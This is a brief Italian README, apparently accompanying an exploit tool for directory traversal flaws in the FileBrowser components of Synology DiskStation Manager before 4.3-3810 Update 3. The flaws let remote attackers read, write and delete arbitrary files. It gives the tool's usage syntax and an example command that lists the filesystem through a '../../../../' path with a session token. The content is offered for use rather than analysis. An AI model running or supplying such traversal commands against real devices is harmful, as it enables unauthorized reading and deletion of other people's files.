
exploit per DNS 4.3
Multiple vulnerabilità di directory traversal nei componenti FileBrowser di Synology DiskStation Manager (DSM) prima della versione 4.3-3810 Update 3 permettono a malintenzionati remoti di leggere, scrivere e cancellare file arbitrari tramite .. (dot dot)
python <file.py> <SynoToken> <path>
example:
#list filesystem
python file_list.py ABCDFEGH1234 /home/../../../../